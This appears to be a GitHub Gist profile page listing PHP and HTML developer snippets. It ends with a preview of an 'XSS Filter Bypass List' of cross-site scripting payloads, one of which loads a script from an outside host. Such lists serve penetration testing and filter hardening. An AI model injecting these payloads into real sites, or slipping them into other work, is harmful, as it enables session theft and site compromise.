Skip to content

Instantly share code, notes, and snippets.

View mprince2k18's full-sized avatar
🪄
Focusing

Mohammad Prince mprince2k18

🪄
Focusing
View GitHub Profile
@mprince2k18
mprince2k18 / ModelParsingService.php
Last active March 21, 2024 04:41
ModelParsingService
<?php
namespace App\Services;
class ModelParsingService
{
public function parseModelTuple($response, $value)
{
return array_slice(is_array($value) ? $value : (array)$value, 0, 4) + array_fill(0, 4, null);
}
}
@mprince2k18
mprince2k18 / ModelChunkService.php
Last active March 21, 2024 04:41
ModelChunkService
<?php
namespace App\Services;
class ModelChunkService
{
const INITIALIZED = 'initialized';
public function initializeModelChunk(array $chunk)
{
return $chunk['_value'] = $this->parseModel($chunk['_response'], $chunk['_value'], $chunk['_status'] = self::INITIALIZED);
}
protected function parseModel($response, $value)
@mprince2k18
mprince2k18 / .htaccess
Created March 22, 2021 06:58 — forked from morcegon/.htaccess
.htaccess optimized for laravel
# Apache configuration file
# httpd.apache.org/docs/2.2/mod/quickreference.html
# Note .htaccess files are an overhead, this logic should be in your Apache
# config if possible: httpd.apache.org/docs/2.2/howto/htaccess.html
# Techniques in here adapted from all over, including:
# Kroc Camen: camendesign.com/.htaccess
# perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/
# Sample .htaccess file of CMS MODx: modxcms.com
@mprince2k18
mprince2k18 / html_for_international_calling coes.htm
Created January 25, 2021 04:13 — forked from andyj/html_for_international_calling coes.htm
HTML <select> international calling codes for each country
<!-- country codes (ISO 3166) and Dial codes. -->
<select name="countryCode" id="">
<option data-countryCode="GB" value="44" Selected>UK (+44)</option>
<option data-countryCode="US" value="1">USA (+1)</option>
<optgroup label="Other countries">
<option data-countryCode="DZ" value="213">Algeria (+213)</option>
<option data-countryCode="AD" value="376">Andorra (+376)</option>
<option data-countryCode="AO" value="244">Angola (+244)</option>
<option data-countryCode="AI" value="1264">Anguilla (+1264)</option>
<option data-countryCode="AG" value="1268">Antigua &amp; Barbuda (+1268)</option>
@mprince2k18
mprince2k18 / short-number-format.php
Created January 9, 2021 16:00 — forked from RadGH/short-number-format.php
Short Number Formatter for PHP (1000 to 1k; 1m; 1b; 1t)
<?php
// Converts a number into a short version, eg: 1000 -> 1k
// Based on: http://stackoverflow.com/a/4371114
function number_format_short( $n, $precision = 1 ) {
if ($n < 900) {
// 0 - 900
$n_format = number_format($n, $precision);
$suffix = '';
} else if ($n < 900000) {
@mprince2k18
mprince2k18 / meta-tags.md
Created November 29, 2020 11:03 — forked from lancejpollard/meta-tags.md
Complete List of HTML Meta Tags

Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/

Basic HTML Meta Tags

<meta name="keywords" content="your, tags"/>
<meta name="description" content="150 words"/>
<meta name="subject" content="your website's subject">
<meta name="copyright"content="company name">
<meta name="language" content="ES">
@mprince2k18
mprince2k18 / xxsfilterbypass.lst
Created October 8, 2020 02:26 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>